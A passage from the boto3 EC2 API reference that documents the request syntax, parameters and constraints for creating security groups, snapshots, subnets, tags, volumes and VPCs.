elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id836)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id838)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = ec2.create_security_group( + Description='string', + GroupName='string', + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +- **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +- **VpcId** (_string_) -- [EC2-VPC] The ID of the VPC. Required for EC2-VPC. +- **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id841)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id843)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = ec2.create_snapshot( + Description='string', + VolumeId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **Description** (_string_) -- A description for the snapshot. +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id846)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id848)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = ec2.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + VpcId='string', + DryRun=True|False +) + +Parameters + +- **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id851)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id853)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +- **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +- **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +- **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = ec2.create_tags( + DryRun=True|False, + Resources=[ + 'string', + ], + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Resources** (_list_) -- + + **[REQUIRED]** + + The IDs of the resources, separated by spaces. + + Constraints: Up to 1000 resource IDs. We recommend breaking up this request into smaller batches. + + - _(string) --_ +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +create_volume(kwargs_) + +Creates an EBS volume that can be attached to an instance in the same Availability Zone. + +You can create a new empty volume or restore a volume from an EBS snapshot. Any AWS Marketplace product codes from the snapshot are propagated to the volume. + +You can create encrypted volumes. Encrypted volumes must be attached to instances that support Amazon EBS encryption. Volumes that are created from encrypted snapshots are also automatically encrypted. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You can tag your volumes during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Creating an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVolume) + +**Request Syntax** + +volume = ec2.create_volume( + AvailabilityZone='string', + Encrypted=True|False, + Iops=123, + KmsKeyId='string', + OutpostArn='string', + Size=123, + SnapshotId='string', + VolumeType='standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + MultiAttachEnabled=True|False, + Throughput=123 +) + +Parameters + +- **AvailabilityZone** (_string_) -- + + **[REQUIRED]** + + The Availability Zone in which to create the volume. + +- **Encrypted** (_boolean_) -- + + Indicates whether the volume should be encrypted. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Encryption by default](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default) in the _Amazon Elastic Compute Cloud User Guide_ . + + Encrypted Amazon EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + +- **Iops** (_integer_) -- + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + +- **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + - Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + - Key alias. For example, alias/ExampleAlias. + - Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + - Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +- **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. +- **Size** (_integer_) -- + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 : 1-16,384 + - io1 and io2 : 4-16,384 + - st1 and sc1 : 125-16,384 + - standard : 1-1,024 +- **SnapshotId** (_string_) -- The snapshot from which to create the volume. You must specify either a snapshot ID or a volume size. +- **VolumeType** (_string_) -- + + The volume type. This parameter can be one of the following values: + + - General Purpose SSD: gp2 | gp3 + - Provisioned IOPS SSD: io1 | io2 + - Throughput Optimized HDD: st1 + - Cold HDD: sc1 + - Magnetic: standard + + For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: gp2 + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **TagSpecifications** (_list_) -- + + The tags to apply to the volume during creation. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id857)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id859)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **MultiAttachEnabled** (_boolean_) -- Indicates whether to enable Amazon EBS Multi-Attach. If you enable Multi-Attach, you can attach the volume to up to 16 [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) in the same Availability Zone. This parameter is supported with io1 and io2 volumes only. For more information, see [Amazon EBS Multi-Attach](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html) in the _Amazon Elastic Compute Cloud User Guide_ . +- **Throughput** (_integer_) -- + + The throughput to provision for a volume, with a maximum of 1,000 MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + +Return type + +ec2.Volume + +Returns + +Volume resource + +create_vpc(kwargs_) + +Creates a VPC with the specified IPv4 CIDR block. The smallest VPC you can create uses a /28 netmask (16 IPv4 addresses), and the largest uses a /16 netmask (65,536 IPv4 addresses). For more information about how large to make your VPC, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can optionally request an IPv6 CIDR block for the VPC. You can request an Amazon-provided IPv6 CIDR block from Amazon's pool of IPv6 addresses, or an IPv6 CIDR block from an IPv6 address pool that you provisioned through bring your own IP addresses ([BYOIP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html) ). + +By default, each instance you launch in the VPC has the default DHCP options, which include only a default DNS server that we provide (AmazonProvidedDNS). For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can specify the instance tenancy value for the VPC when you create it. You can't change this value for the VPC after you create it. For more information, see [Dedicated Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-instance.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpc) + +**Request Syntax** + +vpc = ec2.create_vpc( + CidrBlock='string', + AmazonProvidedIpv6CidrBlock=True|False, + Ipv6Pool='string', + Ipv6CidrBlock='string', + DryRun=True|False, + InstanceTenancy='default'|'dedicated'|'host', + Ipv6CidrBlockNetworkBorderGroup='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the VPC, in CIDR notation. For example, 10.0.0.0/16 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +- **AmazonProvidedIpv6CidrBlock** (_boolean_) -- Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IP addresses, or the size of the CIDR block. +- **Ipv6Pool** (_string_) -- The ID of an IPv6 address pool from which to allocate the IPv6 CIDR block. +- **Ipv6CidrBlock** (_string_) -- + + The IPv6 CIDR block from the IPv6 address pool. You must also specify Ipv6Pool in the request. + + To let Amazon choose the IPv6 CIDR block for you, omit this parameter. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceTenancy** (_string_) -- + + The tenancy options for instances launched into the VPC. For default , instances are launched with shared tenancy by default. You can launch instances with any tenancy into a shared tenancy VPC. For dedicated , instances are launched as dedicated tenancy instances by default. You can only launch instances with a tenancy of dedicated or host into a dedicated tenancy VPC. + + > **Important:** The host value cannot be used with this parameter. Use the default or dedicated values only. + + Default: default + +- **Ipv6CidrBlockNetworkBorderGroup** (_string_) -- + + The name of the location from which we advertise the IPV6 CIDR block. Use this parameter to limit the address to this location. + + You must set AmazonProvidedIpv6CidrBlock to true to use this parameter. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the VPC. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | 